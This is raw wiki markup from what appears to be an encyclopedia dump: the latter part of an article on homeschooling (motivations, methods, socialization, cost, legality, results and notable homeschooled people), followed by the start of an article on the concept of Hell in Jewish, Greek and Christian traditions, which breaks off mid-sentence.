As [[school choice|educational choices]] become abundant through a vast array of educational products and services available, computers, and the internet, the idea of homeschooling in the U.S. is expanding in popularity and acceptance. Some state governments, like those in Alaska, California, Pennsylvania, Utah, and Kansas, sponsor home-education &quot;virtual&quot; [[charter school]]s and/or reimburse parents who purchase curricula approved by the state. [http://www.k12.com/options/dlp_overview.html][http://www.k12.com/options/dlp_participating.html]

== Motivations ==

Individual motivations to home-educate, home education methods, and academic and social results of home education are varied, and are the source of vibrant debate. Proponents of this educational alternative invoke parental responsibility and the classical liberal arguments for personal freedom from government intrusion. Some proponents advocate that home education should be the dominant educational policy.

Most home education advocates are wary of the established educational institutions for various reasons. Some are religious conservatives who see non-religious education as contrary to their moral or religious systems. Others feel that they can more effectively tailor a curriculum to suit an individual student's academic strengths and weaknesses, especially children who are [[gifted]] or have [[learning disabilities]]. Still others feel that the negative social pressures of schools, such as [[Bully|bullying]], [[Recreational drug use|drugs]], [[school violence]], and other school-related problems, are detrimental to a child's development. Some parents simply like the idea of teaching their own children rather than letting someone else do so.

[[Image:1999 NCES Report reasons for homeschooling.gif|thumb|right|373px|Number and percentage of homeschooled students, by reason for homeschooling: 1999, National Center for Education Statistics (NCES)]]
In the [[United States]], reasons for homeschooling vary; religious concerns are an important, though not overwhelming, factor. According to a 2003 [[United States Census|U.S. Census]] survey, the parents of 33% of homeschooled children cited religion as a factor in their choice, 30% felt the regular school had a poor learning environment, 14% objected to what the school teaches, 11% felt their children weren't being challenged at school, and 9% cited morality [http://www.census.gov/population/www/documentation/twps0053.html]. In 2003, the reasons most frequently reported by parents for homeschooling were: concerns about the school environment (85%); a desire to provide religious or moral instruction (72%); and dissatisfaction with academic instruction (68%)[http://nces.ed.gov/fastfacts/display.asp?id=91].

Options which make home education attractive to some families also include:
*Allowing a longer exploratory play-oriented childhood, encouraging the development of rich imagination and pre-academic skills which can foster later academic success
*Allowing each student to work at their own pace, enjoy family vacations, and integrate outside activities or current events into subjects they are studying
*Incorporating religion, [[ethics]], and character topics not included in most school curricula
*Including non-traditional curricula and unusual subjects such as [[Latin]] and [[Greek language|Greek]]
*Giving extra weight to subjects of particular family interest such as [[art]], [[music]], or [[business]]
*Adapting educational practices for children with learning disabilities or illnesses
*Providing a legal option for families who wish to abstain from mandatory [[immunization]]s.
*Providing consistency in education for families that travel or move frequently.

== Methods ==

[[Image:Braeden hacking.jpg|thumb|right|200px|The [[Internet]] has made information more accessible than ever.]]
There is a wide variety of home education methods and materials. Many home education families base their work on a particular educational philosophy such as: 
*[[Classical education]] (including [[Trivium]], [[Quadrivium]])
*[[Waldorf Education]]
*[[Charlotte Mason]] education
*[[Theory of multiple intelligences]]
*[[Montessori method]]
Others use a broad combination of ideas or allow the child to develop their own motivation, through what is known as [[#Unschooling|Unschooling]].  

Because home education laws vary widely according to individual government statutes, official curriculum requirements vary. [http://www.hslda.org/hs/state/default.asp]

=== Unit studies ===

Unit studies teach most subjects in the context of a central theme. For example, a unit study of [[Native Americans (Americas)|Native Americans]] could combine age-appropriate lessons in: [[social studies]], like how different tribes lived; [[art]], such as making Native American clothing; [[history]] of [[Native Americans in the U.S.]]); [[Reading (activity)|reading]] from a special reading list; and the [[science]] of plants used by Native Americans. The following unit-study subject could change to some other broad topic of study. 

Supporters say unit studies make excellent use of student time by combining several fields into one study time, and permit students to follow personal interests. Unit studies also permit children of different ages to study together. For example, in a Native American unit, a 10th-grade student might make a deer-skin coat for an art project, while a 1st-grade student might make construction-paper [[tipi]]s.

Home educators often purchase unit-study guides that suggest materials, projects and shopping lists, and supplement them with specialized curricula for math, and sometimes reading and writing.

=== Special materials ===

Special materials focus on skill-building. Individual subject materials usually consist of workbooks, sometimes with textbooks, and an instructional guide. Many specialized subjects are only available in this form. Special materials are frequently used for math and  [[Primary education|primary reading]].

Critics say that some parents over-focus on skills while excluding [[social studies]], [[science]], [[art]], [[history]] and other fields that help children learn their place in the world.

=== All-in-one curricula === &lt;!-- if section is renamed/removed, change reference above --&gt;

&quot;All-in-one&quot; curricula, sometimes called &quot;school in a box&quot;, are comprehensive packages covering many subjects, usually an entire year's worth. They contain all needed books and materials, including pencils and writing paper. Most such curricula were developed for isolated families who lack access to public schools, libraries and shops, or are overseas.

These materials typically recreate the school environment in the home, and are typically based on the same subject-area expectations as publicly-run schools, allowing an easy transition into school if desired. They are among the most expensive options for the home-educated, but are easy to use and require minimal preparation. The instructional guides are usually extensive, with step-by-step instructions. These programs may include [[standardized test]]s, and remote examinations to yield an accredited privately-run school diploma.

=== Student-paced learning ===

Similar to All-in-one curricula are learner paced curriculum packages. Often times called paces, these workbooks allow the student to progress at an individualized speed. They allow the student to master concepts before moving on to the next subject, instead of being held back by the speed of the teacher and other students or rushing forward for the same reasons. Prices vary widely depending upon the publisher.

=== Community resources ===

Home educators take advantage of educational programs at [[museum]]s, [[community center]]s, athletic clubs, after-school programs, [[church]]es, science preserves, [[park]]s, and other community resources. Secondary school level students often take classes at [[community college]]s, which typically have open admission policies.

=== Eclectic curricula ===

The majority of today's home-educated use an eclectic mix of materials. For instance, they might use a pre-designed program for language, arts or mathematics, and fill in history with reading and field trips, art with classes at a community center, science through a homeschool science club, [[physical education]] with membership in local sports teams, and so on.

=== Unschooling === &lt;!-- if section is renamed/removed, change reference above --&gt;

[[Unschooling]] is an area within home education in which students are not directly instructed but encouraged to learn through exploring their interests. Also known as interest-led or child-led learning, unschooling attempts to provide opportunities with games and real life problems where a child will learn without coercion. An unschooled child may choose to use texts or classroom instruction, but it is never considered central to education. 

Advocates for unschooling claim that children learn best by learning from doing. A child may learn reading and math skills from playing card games, better [[spelling]] and other writing skills because he's inspired to write a [[science fiction]] story for publication, or local history by following a [[zoning]] or historical-status dispute.

== Social development ==

A common concern voiced about home-educated children is they lack the social interaction with [[peer]]s that a school environment provides. Many home-education families address these concerns by joining numerous organizations, including home-education [[cooperative]]s, [[independent study]] programs and specialized enrichment groups for physical education, art, [[Music education|music]], and [[debate]]. Most are also active in community groups. Home-educated children generally socialize with other children the same way that school children do: outside of school, via personal visits and through sports teams, clubs, and religious groups.

Some home education proponents have argued that their alternative actually enhances the student's social development. They argue that the school years are the only time in a person's life that he or she will be artificially segregated into chronologically-determined groups. These advocates assert that home-educated children have a more normal interaction with persons across the age spectrum. This, in turn, results in more influence on the child from adults, and less from other children, leading to more mature young citizens.

=== Social concerns ===

Opponents of home education offer criticisms concerning socialization, pointing out that not all home-education families participate sufficiently in community activities. Some of the concerns offered include:
*Interaction with peers and different social groups is essential to learning to live in society; the main criticism is that home-schoolers' only &quot;interaction&quot; is with other home-schooled children from like-minded families, and not with those from differing backgrounds. {{citeneeded}}
*Schools are a unique environment that provide students with necessary social networking skills that help them succeed in the workplace and in the politics of business. Real life includes school as well.
*Home-educated children tend to live in an insulated world where they aren't exposed to a variety of ideas, which can impede personal growth and independence later in life. 
*If children are insulated from unpleasant social situations, then they will be left unprepared when they are inevitably left to make their own way in the world. Children should be allowed to live and learn from their mistakes rather than sheltered from reality.

Some people oppose home education because they fear that children will be exposed to an extremely narrow set of view-points and will lack the broad range of experiences gained through interaction in a larger group setting.

== Cost ==

Home education may have a financial impact on families. In addition to having to purchase school supplies and curriculum materials, parents often cut back or refrain from employment outside the home in order to supervise the child's education. This may have long-term career consequences as well. However, many such parents say that one unique benefit is the additional time they get to spend with their children.  Further, in most jurisdictions the family still must pay property taxes to the local district (even if school vouchers are offered they are often not available to homeschooling families).

Conversely, families may see a financial benefit. Families may save unspent money on the costs of tuition outside the home, such as: school fees; levies; uniforms; compulsory books and extra curricula activities, such as school sports teams or clubs.

Of course home education can be expensive if a full curriculum is purchased and many costly activities attended. It can also be very inexpensive by using free resources, taking advantage of free facilities, such as public libraries, art galleries, parks, and gardens, and resources available on the Internet.

== Public opinion ==

Opposition to home education comes from varied sources, including organizations of teachers and school districts. One example is the [[National Education Association]], a teachers' union, which is the largest [[labor union]] in the United States. They are on record as opposing homeschooling outright though, in recent years they have not been as outspoken in this opposition. Opponents state concerns falling into several broad categories, including: academic quality and completeness; reduced government money for the publicly-run schools; socialization of children with peers of different ethnic and religious backgrounds; and fear of religious or social [[extremism]]. [[Gallup poll]]s of American voters have shown a significant change in attitude in the last twenty years, from 73% opposed to home education in 1985 to 54% opposed in 2001 [http://eric.uoregon.edu/trends_issues/choice/home_schooling.html].

Opponents view home-educating parents as sheltering their children and denying them opportunities that are their children's right, reducing the amount of government funds publicly-run schools would receive if more children were attending the publicly-run school, and providing an unfair advantage to home-educated children over students whose parents lack the time or money for home education.

Two recent studies by the [[Home School Legal Defense Association]], a home education advocacy group in the United States, dispute the claim that the academic quality of home education programs is substandard.[http://www.hslda.org/docs/study/comp2001/default.asp][http://www.hslda.org/research/ray2003/]

== Legality ==

Home education exists legally in many parts of the world. Countries with the most prevalent home education movements include the [[United States]], the [[United Kingdom]], and [[Australia]]. Some countries have highly regulated home education programs which are actually an extension of the compulsory school system, while others have outlawed it entirely. In many other countries, while not restricted by law, home education is not socially acceptable and, therefore, virtually non-existent. 

In many countries where home education does not exist legally, [[underground]] [[movement]]s flourish where children are kept out of the compulsory school system and educated at, sometimes, considerable risk. Still, in other countries, while the practice is illegal, the governments do not have the resources to police and prosecute offenders and, as such, it takes place largely in the open.

Home education in the [[United States]] is governed by each individual state and therefore regulations vary greatly from one state to another.  
{{see also|Legality of homeschooling in the United States}}

== Results ==

=== Academic findings ===

The academic effectiveness of home education is largely a settled issue. Numerous studies have confirmed the academic integrity of home education programs, demonstrating that average home-educated student outperform their publicly-run school peer by 30 to 37 percentile points across all subjects. Moreover, the performance gaps between minorities and gender that plague publicly-run schools are virtually non-existent amongst home-educated students.[http://www.hslda.org/docs/study/comp2001/default.asp] 

Some critics argue that while home-educated students generally do extremely well on standardized tests[http://www.hslda.org/docs/nche/000010/200410250.asp], such students are a self-selected group whose parents care strongly about their education and would also do well in a conventional school environment. 

Some opponents argue that parents with little training in education are less effective in teaching. However, some studies do indicate that parental income and education level affect home-educated student performance on standardized tests very little.

Home-educated student curricula often include many subjects not included in traditional curricula. Some colleges find this an advantage in creating a more academically diverse [[student body]], and proponents argue this creates a more well-rounded and self-sufficient adult. Increasingly, colleges are recruiting home-educated students; many colleges accept [[GED|equivalency diplomas]] as well as parent statements and portfolios of student work as admission criteria; others also require [[SAT]]s or other [[standardized test]]s. Opponents argue that home education curricula often excludes critical subjects and isolates the student from the rest of society, or presents them with [[ideological]] world views, especially religious ones.

The results of home education with [[gifted]] and [[Learning disability|learning-disabled]] children have not been as thoroughly studied.

=== Social findings ===

In 2003, the [[National Home Education Research Institute]] (NHERI) conducted a survey of over 7,300 U.S. adults who had been home-educated (over 5,000 for more than seven years). Their findings included:

:*Home-educated graduates are active and involved in their communities. 71% participate in an ongoing community service activity, like coaching a sports team, [[volunteering]] at a school, or working with a church or neighborhood association, compared with 37% of U.S. adults of similar ages from a traditional education background.

:*Home-educated graduates are more involved in civic affairs and [[vote]] in much higher percentages than their peers. For example, 76% of surveyed between the ages of 18 and 24 voted within the last five years, compared with only 29% of the relevant U.S. population. The numbers of home-educated graduates who vote are even greater in older age groups, with voting levels not falling below 95%, compared with a high of 53% for the corresponding U.S. populace.

:*Of those adults who were home-educated, 58.9% report that they are &quot;very happy&quot; with life (compared with 27.6% for the general U.S. population). Moreover, 73.2% of homeschooled adults find life &quot;exciting&quot;, compared with 47.3% of the general population.[http://www.hslda.org/research/ray2003/]

The [[Education Resources Information Center]] (ERIC), a U.S. government agengy, has published multiple articles on home education. Here are excerpts from one which examined several studies on home-educated children socialization:

:According to the findings, children who were educated at home &quot;gained the necessary skills, knowledge, and attitudes needed to function in society...at a rate similar to that of conventionally schooled children. 

and;

:The researcher found no difference in the [[self concept]] of children in the two groups, and maintains that &quot;insofar as self concept is a reflector of socialization, it would appear that few home-schooled children are socially deprived, and that there may be sufficient evidence to indicate that some home-schooled children have a higher self concept than conventionally schooled children.&quot;  [http://www.ericdigests.org/1995-1/home.htm]

Proponents argue further that the social environment of traditional schools:
*strongly inhibits individuality and creativity, 
*follows the standards set by the slowest students,
*involves [[bullying]], [[recreational drug use]], early [[sexuality]], defiance, criminality, [[materialism]], and [[eating disorder]]s. 
and that socialization in the wider community:
*leads them to see adults, rather than peers, as [[role model]]s,
*better prepares them for real life,
*encourages them to be more involved in youth, church, and sports organizations,
*helps them develop an independent understanding of themselves and their role in the world, with the freedom to reject or approve conventional values without the risk of ridicule, 
*teaches children to deal with a variety of situations and people,
*still provides for interaction with conventionally-educated children after school hours in their neighbourhood and in other after-school activities.

== Notable home-educated individuals ==

*[[Thomas Edison]], [[United States]], scientist and inventor
*[[Andrew Wyeth]], [[United States]], Artist
*[[Dietrich Bonhoeffer]], [[Germany]], theologian, Hitler assassination conspirator
*[[Dakota Fanning]], [[United States]], actress
*[[Adam Yahiye Gadahn]], [[United States]]/[[Pakistan]], suspected Al Qaeda member
*[[Prussian Blue (American duo)|Lynx and Lamb Gaede]], United States, racialist musicians
*[[Pierre-Gilles de Gennes]], [[France]], physicist
*[[Charles Evans Hughes]], [[United States]],  Governor of New York, United States Secretary of State, and Chief Justice of the United States
*[[Evermore|Jon, Peter, and Dann Hume]], [[New Zealand]], musicians
*[[Ruth Lawrence]], [[Israel]]/[[United Kingdom]]/[[United States]], disillusioned homeschooler
*[[Bode Miller]], [[United States]], champion skier
*[[Evelyn De Morgan]], [[United Kingdom]], artist
*[[Clara Muhammad]], [[United States]], Nation of Islam leader
*[[Christopher Paolini]], [[United States]], author
*[[Rosa Parks]], [[United States]], civil rights activist
*[[Susan La Flesche Picotte]], [[United States]], first American Indian woman physician
*[[John T. Plecnik]], [[United States]], syndicated columnist
*[[MuggleNet#Emerson Spartz|Emerson Spartz]], [[United States]], internet entrepreneur
*[[Konstantin Tsiolkovsky]], [[Russia]], rocket scientist and pioneer of cosmonautics
*[[Roman Vishniac]], [[Russia]]/[[United States]], photographer, biologist, and polyglot
*[[Stanisław Ignacy Witkiewicz]], [[Poland]], author and artist
*[[Sho Yano]], [[United States]], child prodigy

== See also == 
{{Alternative education}}
{{Education stages}}

* [[A.C.E. (Accelerated Christian Education)|Accelerated Christian Education]]
* [[Attachment parenting]]
* [[Catherine Baker]]
* [[Deschooling]]
* [[Educational philosophies]]
* [[The Education of Henry Adams]]
* [[John Taylor Gatto]]
* [[GED|General Educational Development]] (GED)
* [[Growing Without Schooling]]
* [[Proactive Academics]]
* [[School choice]]
* [[Washington Homeschool Organization]]
* [[Work at home parent]]

== References ==

* ''[[Teach Your Own]]'' by [[John Cadwell Holt|John Holt]] and [[Patrick Farenga]]
* ''Homeschooling: Take a Deep Breath—You Can Do This!'' by Terrie Lynn Bittner, ISBN 0972807152
* ''[[The Well-Trained Mind]]'' by [[Susan Wise Bauer]] and [[Jessie Wise]]
* ''[[The Teenage Liberation Handbook]]'' by [[Grace Llewellyn]]
* ''[[The Homeschooling Handbook]]'' by [[Mary Griffith]]
* ''[[Family Matters: Why Homeschooling Makes Sense]]'' by [[David Guterson]]
* ''[[You Are Your Child's First Teacher]]'' by [[Rahima Baldwin Dancy]]
* ''[[The Complete Home Learning Sourcebook]]'' by Rebecca Rupp
* ''[[The Homeschool Source Book]]'' by Donn Reed
* ''[[A Thomas Jefferson Education]]'' by Oliver DeMille
*The extract from the Education Act is Crown Copyright, 1996. Reproduced from [http://www.opsi.gov.uk/ Her Majesty's Stationery Office, United Kingdom]. The Education Act is available in printed form, ISBN 0105456969.

== External links ==

=== USA / UK ===

==== General ====

* [http://www.NHEN.org/ National Home Education Network (NHEN)]
* [http://www.opinionjournal.com/taste/?id=110007199 What They're Reading at the Kitchen Table], a September 2005 article from the ''[[Wall Street Journal]]''
* [http://www.percipion.com/  Percipion.com] - homeschool resources and information.
* [http://homeschooling.gomilpitas.com/  A to Z Home's Cool] A portal for homeschooling, with [http://homeschooling.gomilpitas.com/articles/102299.htm consumer information].
* [http://giftedhomeschoolers.org  Gifted Homeschoolers Forum] A [[California]]-based national association for families homeschooling [[gifted]] children.
* [http://www.naaha.com/ National African-American Homeschoolers Alliance] The largest and most comprehensive website and organization for [[African American]] homeschooling families
* [http://www.lifeofflorida.org/ Learning is for Everyone, Inc.], Supporting Family Choice in Learning
* [http://homeschooling.about.com/ About Homeschooling] An [[About.com]] homeschool community with forums, free ecourses, curriculum reviews, unit studies, clubs for the kids, and information for beginners
* [http://www.christian-parenting-source.com/ One family's guide to &quot;Christian homeschooling&quot;]
* [http://aha.typepad.com/resources/ American Homeschool Association's Resource Guide]
* [http://www.hwcn.org/~ap951 Radio Free School], a radio show devoted to homeschoolers, MP3 archive available
* [http://www.kinzaacademy.com Kinza Academy], Homeschooling with the Classics
* [http://www.eleos.co.uk Eleos], ACE/CEE Home-School, ACE/CEE Student Forum

==== Research ====

* [http://search.nces.ed.gov/query.html?qt=home+education National Center for Education Statistics (NCES)] Links to homeschool research and reports
* [http://www.nheri.org/ National Home Education Research Institute]
* [http://www.hslda.org/research/ray2003/ Homeschooling Grows Up]: The largest research survey to date of adults who were home-educated.
* ERIC digests from US Dept. of Education
** [http://eric.uoregon.edu/publications/digests/digest151.html Homeschooling, by Patricia M. Lines, 2001]
** [http://www.ericdigests.org/1995-1/home.htm Home Schooling and Socialization of Children]
** [http://www.ericdigests.org/2000-3/home.htm The Scholastic Achievement of Home School Students]
** [http://www.ericdigests.org/1996-1/home.htm Home Schooling]
* [http://geocities.com/nelstomlinson/research.bibliography.html Annotated bibliography of research on homeschooling], hosted on a [[GeoCities]] website 

==== Legalities ====

* [http://www.ahsa-usa.org/main.php Association of HomeSchool Attorneys (AHSA)]
* [http://www.nheld.com/ National Home Education Legal Defence (NHELD)]
* [http://www.hslda.org/ The Home School Legal Defense Association] ([[Home School Legal Defense Association|HSLDA]])

==== All-in-one curricula ====

* [http://www.calvertschool.org/ Calvert School], which created the market in 1906
* [http://www.core-curriculum.com/ Core Curriculum of America], customizes complete curriculum packages for homeschooling
* [http://www.k12.com/ K12, Inc.], founded by [[William Bennett]] and popular with parents who want a heavy emphasis on [[Value system|values]]

=== Student-paced learning ===

* [http://www.aop.com/Cultures/en-US/HomeSchooling/HomeSchoolingHomePage.htm?MenuSelection=Homeschooling%20Home/ Alpha Omega]
* [http://www.aceministries.com/ Accelerated Christian Education]
* [http://www.designastudy.com/ Design-A-Study]
* [http://www.landmarkbaptistchurch.org/modules/lfbc/htmls/ Landmark's Freedom Baptist]
* [http://schoolofhope.org/ School of Hope] is one of the largest publically funded asynchrous home school programs in Canada, located in Vermilion, [[Alberta]].

=== National Extracurricular Organizations ===

* [http://www.hspn.net The Homeschool Sports Network] National Homeschool Sports League
* [http://www.ncfca.org National Christian Forensics and Communications Association] Homeschool Speech and Debate League

=== UK ===

* [http://www.home-education.org.uk/ Home Education UK] - Contains links to UK, US, European and Australian home education organisations
* [http://www.diversity-otherwise.tk/ Diversity-Otherwise] - UK multi-cultural home education
* [http://www.hslda.org/hs/international/UnitedKingdom/default.asp HSLDA UK Webpage] - Legal information and links to UK home education organisations.
* [http://www.aspies.co.uk/hediary.html Home Education Diary] - from a family in Scotland, with activities and links to resources.
* [http://www.educationotherwise.com/ Education Otherwise] - a home education charity with around 16,000 members in the UK
* [http://www.christian-education.org/ Christian Education Europe] - Christian Education Europe Ltd. provides Accelerated Christian Education materials and services to schools and home schools in the United Kingdom and Europe

=== France ===

* [http://www.indigoextra.com/ IndigoExtra] - provides information and links on home education in Europe, with a focus on France
* [http://www.lesenfantsdabord.org/ Les Enfants d'Abord] - A home-education organisation with information in English and French.

=== Publications ===

* [http://www.homeedmag.com/ Home Education Magazine] The oldest homeschool magazine in the US. Many articles online
* [http://www.theoldhomeschoolhouse.com/ The Old Schoolhouse Magazine] Large, diverse homeschooling magazine with international distribution.
* [http://www.virtuemag.org/ Virtue Magazine] Online political magazine published bi-weekly by a group of homeschooled students.

[[Category:Educational philosophy]]
[[Category:Homeschooling| ]]
[[Category:School types]]

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  </page>
  <page>
    <title>Hell</title>
    <id>13604</id>
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      <timestamp>2006-03-03T19:56:32Z</timestamp>
      <contributor>
        <ip>69.43.1.115</ip>
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      <text xml:space="preserve">{{Otheruses}}
[[Image:Hortus Deliciarum - Hell.jpg|thumb|360px|Medieval illustration of Hell in the [[Hortus deliciarum]] manuscript of [[Herrad of Landsberg]] (about 1180)]]
'''Hell''' is, according to many religious beliefs, a place or a state of painful suffering.  The [[English language|English]] word 'hell' comes from the [[Germanic languages|Teutonic]] '[[Hel (realm)|Hel]]', which originally meant &quot;to cover&quot; and later referred to the goddess of the Norse underworld, [[Hel (realm)|Hel]]. Compare [[Anglo-Saxon]] ''helan'', Greek ''kalyptein'' and Latin ''celare'' = &quot;to hide, to cover&quot; (all from [[Proto-Indo-European language|IE]] ''[[*kel]]'').

In many religions, after death, evildoers either [[Damnation#Religious|suffer eternally]] or until they have paid for their bad deeds before [[reincarnation]] or [[redemption]]. In [[monotheism|monotheistic]] religions, hell is often ruled by [[demon]]s which torment the ''damned'' or is simply defined by an utter absence of ''God'' or ''redemptive force''. Many monotheists believe in different layers of hell, and that some are sent to [[purgatory]], or otherwise sent to suffer in hell until they repent and seek atonement. Some believe that all sent to hell can accept redemption if they repent and seek atonement, but believe that there will be those who never truly repent in spirit, and even those who reject redemption and ''curse God'' for all eternity in spite of this.

In [[polytheism|polytheistic]] religions, the politics of hell can be as complicated as human politics. Many ''Hellenistic'' [[Neopaganism|Neopagans]] believe in [[Tartarus]], which may also be considered a version of Hell.

==Origins==
[[Image:Dore woodcut Divine Comedy 01.jpg|thumb|A vision of hell from [[Dante]]’s ''[[Divine Comedy]]''. Illustration by [[Gustave Doré]].]]
Hell, as it exists in the [[Western countries|Western]] popular imagination, has its origins in [[Hellenic|Hellenized]] [[Christianity]], particularly taken from adaptation of the Hellenistic afterlife known as [[Tartarus]]. [[Judaism]], at least initially, believed in [[Sheol]], a shadowy existence to which all were sent indiscriminately. Sheol may have been little more than a poetic metaphor for death, not really an [[afterlife]] at all: see for example [[Sirach]]. However, by the third to second century [[Anno Domini|B.C.]] the idea had grown to encompass a far more complex concept.

The [[Hebrew language|Hebrew]] ''Sheol'' was translated in the [[Septuagint]] as '[[Hades]]', the name for the underworld in [[Greek mythology]] and is still considered to be distinct from &quot;Hell&quot; by [[Eastern Orthodoxy|Eastern Orthodox]] Christians. The ''Lake of Fire'' and realm of ''Eternal Punishment'' in Hellenistic mythology was in fact [[Tartarus]]. [[Hades]] was not ''Hell'' in Hellenistic mythology, but was rather a form of [[limbo]] where the dead went to be judged. The [[New Testament]] uses this word, but it also uses the word '[[Gehenna]]', from the [[valley of Ge-Hinnom|valley of Hinnom]], a valley near [[Jerusalem]] originally used as a location in which human sacrifices were offered to an idol called &quot;Molech&quot; (or [[Moloch]]).

[[2 Kings 23.10]] (on King [[Josiah]]'s reform):
&lt;blockquote&gt;
    And he defiled the Tophet, which is in the valley of Ben-hinnom, that no man might make his son or his daughter pass through the fire lmlk.
&lt;/blockquote&gt;
[[Book of Jeremiah|Jeremiah]] 32.35:
&lt;blockquote&gt;
    And they built the high places of the Ba‘al, which are in the valley of Ben-hinnom, to cause their sons and their daughters to pass through the fire lmlk; which I did not command them, nor did it come into my mind that they should do this abomination, to cause Judah to sin.
&lt;/blockquote&gt;

It was later used as a [[landfill]] in order to emphasize the disgusting nature of its original use. Hebrew landfills were very unsanitary and unpleasant when compared to modern landfills; these places were filled with rotting garbage and the Hebrews would periodically burn them down. However, by that point they were generally so large that they would burn for weeks or even months. In other words they were fiery mountains of garbage. The early Christian teaching was that the damned would be burnt in the valley just as the garbage was. (It is ironic to note that the valley of Hinnom is today, far from being a garbage dump, a public park.) It is argued by theologians opposed to hell but desirous to defend the Bible as a source, that a reference to a place on Earth where rubbish was burnt can not refer to any conscious after-death state.

Punishment for the damned and reward for the saved is a constant theme of early Christianity.

==Religious accounts==
Hell appears in several [[mythology|mythologies]] and [[religion]]s in different guises, and is commonly inhabited by [[demon]]s and the [[soul]]s of dead people.

Some accounts of Hell describe it as a series of numbered layers or levels. What the layers consist of differ from religion to religion, but the descriptions of certain numbered layers often coincide even between different religions. Examples of these coincidences include a layer of intense flames numbered 54 in several religions or a layer where the world looks like earth but is inhabited by demons; the soul experiencing it is never sure enough that it is in Hell to reveal their suspicion for fear of appearing insane, and is numbered 78 in at least 3 distinct religions.

===Rabbinic Judaism===
[[Gehenna]] is fairly well defined in [[rabbi|rabbinic]] literature. It is sometimes translated as &quot;Hell&quot;, but this doesn't effectively convey its meaning. In [[Judaism]], Gehenna is not hell, but rather a sort of [[Purgatory]] where one is judged based on their life's deeds. The [[Kabbalah]] describes it as a &quot;waiting room&quot; (commonly translated as an &quot;entry way&quot;) for all souls (not just the wicked).  The overwhelming majority of rabbinic thought maintains that people are not in [[Gehenna]] forever; the longest that one can be there is said to be 12 months. Some consider it a spiritual forge where the soul is purified for its eventual ascent to [[Jewish eschatology#The afterlife and olam haba (the world to come)|Olam Habah]] (''heb.'' עולם הבא; ''lit.'' &quot;The world to come&quot;, often viewed as analogous to [[Heaven]]). This is also mentioned in the [[Kabbalah]], where the soul is described as breaking, like the flame of a candle lighting another: the part of the soul that ascends being pure, and the &quot;unfinished&quot; piece being reborn.

===Ancient Greek religion===
Another source for the modern idea of 'Hell' is the Greek [[Tartarus]], a place in which conquered gods and other spirits were punished. Tartarus formed part of [[Hades]] in [[Greek mythology]], but [[Hades]] also included [[Elysium]], a place for the reward for those who lead virtuous lives, whilst others spent their afterlife in the [[asphodel]]s fields. Like most ancient (pre-Christian) religions, the underworld was not viewed as negatively as it is in [[Christianity]].

===Christianity ===
====General history and description====
The Christian idea of Hell is different from the [[Sheol]] of [[Judaism]]. The nature of Hell is described in the [[New Testament]] on several occasions. For example, in [[Matthew 3:10]]-[[Matthew 3:12|12]], [[Matthew 5:22|5:22]] and [[Matthew 5:29|29]]-[[Matthew 5:30|30]], 7:29, 8:12, 22:13 and 33, 25:30 and 41-46, [[Gospel of Luke|Luke]] 3:9, 12:5, 13:28, 16:19-28, and the [[Book of Revelation]] 12:9, 14:9-11, 19:20, 20:10 and 14-15, 21:8; in the [[Book of Revelation]] Hell is also mentioned as the &quot;[[abyss]]&quot; and &quot;the [[Earth]]&quot;.

The Biblical descriptions of Hell tell about a place of [[darkness]], fire, sulphur, an oven of fire, and lakes of fire and sulphur, where weeping, tears, gnashing of teeth and torment are eternal for those [[soul]]s that will be condemned to live there. Hell is referred to as a place apart from [[Heaven]], and implies that after the end of the world the Earth (or what it becomes) will be Hell, too (as well as all that is not Heaven). 

The population of Hell comprises of the souls of those who died without accepting [[Christ]] as their saviour, [[God]]'s grace, in [[sin]] and without repentance, although beliefs on these categories differs among Christian denominations. Some consider the fate of righteous people who lived before the time of Christ (thus being non-Christian through no fault of their own) a complication, especially for the many righteous Jews of the [[Old Testament]].  In some traditions, these people went straight to Heaven despite not being Christians because [[Christ]] had not come and gone yet.  In other traditions, they had to wait in [[Limbo]] until the [[Harrowing of Hell]] during the three days between the Crucifixion and the Resurrection.  

According to Western Christian beliefs, [[the Devil]] and his [[angel]]s ([[demon]]s), who are receiving punishment, reside in hell along with the souls of the damned. This doctrine is not part of Eastern Orthodox teachings. Yet, Matthew 25:41 mentions the ''[[eternal]]'' fire prepared for the Devil and his angels. According to the [[Book of Revelation]], after the [[Day Of the Lord]] soul and [[body]] will be united again, and so those who were condemned to Hell will remain there physically, tormented by eternal fire that will never consume them nor be extinguished.

According to Luke 16:19-28 ([[Lazarus and Dives]]) nobody can pass from Hell to Heaven or vice versa, and fire is not the only tormentor, thirst being another, and more that are not described; in this biblical passage it is also mentioned that the souls that are in Hell can see those that are in Heaven and vice versa, but nothing is said of the sight of God; those that are in Hell can see the happiness reigning in Heaven, and those in Heaven do not feel compassion for the others in Hell.  It should be noted, however, that Jesus tells this story as a parable, and its meaning may not literally define the existence in the afterlife, but instead serve as a lesson about the dangers of wealth and the unwillingness to listen to God.

As [[light]] and brightness were associated with God and Heaven, it is not strange that darkness was associated with Hell. Concerning the fire, some [[scholar]]s speculated that the idea came from the fire consecrated to some [[Paganism|Pagan]] deities like [[Adramelech]], [[Moloch]], etc., to whom children were sacrificed by throwing them into the flames; but other scholars, more recently, speculated that, since Hell is considered an underground place, fire was associated with volcanic eruptions; the idea that [[volcano]]es could be [[gateway]]s to Hell was present in the mind of the ancient [[Roman religion|Romans]], and later of [[Iceland]]ers and other [[Europe]]an peoples. Some claim that the conditions thought to prevail in Hell are influenced by the generally hot, dry [[climate]]s found in the cradlelands of [[Judaism]], [[Christianity]] and [[Islam]] alike; these observers point to the fact that the equivalent of Hell in [[Norse mythology]], known as [[Niflheim]], is pictured as a cold, foggy place (the name itself meaning &quot;home of the fog&quot;).

Medieval imagination added [[cauldron]]s inside which people will be &quot;cooked&quot; forever by demons and [[Christian demonology]] acquired a &quot;terrifying&quot; aspect concerning imagery of Hell. Medieval theologians were keen to portray all manner of hideous [[torture]]s, designed to inflict horrific pain upon the eternally-damned inhabitants of Hell.

More recently and to ''some'' theologians, the idea of an underground Hell gave place to the conception of an abstract spiritual status in an also intangible plane of existence, which is sometimes associated to a site in an unknown point of the universe or also abstract, but [[tradition]] continues referring to Hell as &quot;down&quot;, meanwhile [[religion]] refers to it as the place of eternal [[punishment]] and torment, far from God's presence ([[2 Thessalonians]] 1:9).

Jeff Priddy, writing in [http://www.godstruthfortoday.org/Library/priddy/ibi_4_2.htm The ''Idle Babbler Illustrated'' (Volume 4, Issue 2)], expresses the problem:

